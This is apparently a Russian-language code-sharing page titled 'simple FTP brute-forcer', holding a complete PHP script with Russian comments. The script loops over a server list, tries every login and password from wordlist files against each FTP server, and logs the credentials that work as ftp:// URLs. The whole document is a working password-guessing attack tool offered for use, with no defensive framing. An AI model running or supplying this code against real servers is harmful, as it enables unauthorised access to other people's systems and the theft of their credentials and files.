{% else-1 %}
Простой брутофорсер FTP

                        
<?php 
//первое-определяем файлы с которыми работаем:
//Список серверов:
$fservers = "servers.txt";
//Список логинов:
$flogins = "logins.txt";
//Список паролей:
$fpasswords = "passwords.txt";
//Лог-файл:
$flog = "ftpbrut.log";
//Открываем файлы:
$servers = file($fservers);

$logins = file($flogins);

$passwords = file($fpasswords);

$fd = fopen($flog, "w");
//Цикл перебирает сервера
foreach($servers as $server)
{
$connect = ftp_connect($server);
echo $server."<br />";
if($connect)
{
foreach($logins as $login)
{
foreach($passwords as $password)
{
$result = ftp_login($connect, $login, $password);
if($result)
{
$str = "ftp://".$login.":".$password."@".substr($server,6);
$log .= $str."\r\n";
echo $str."<br />";
break;
}
}
if($result)
{
break;
}
}
ftp_quit($connect);
}
}
fwrite($fd, $log);
fwrite($fd, "done succesful");
echo "done succesful";
?>
0 46 0
Без комментариев...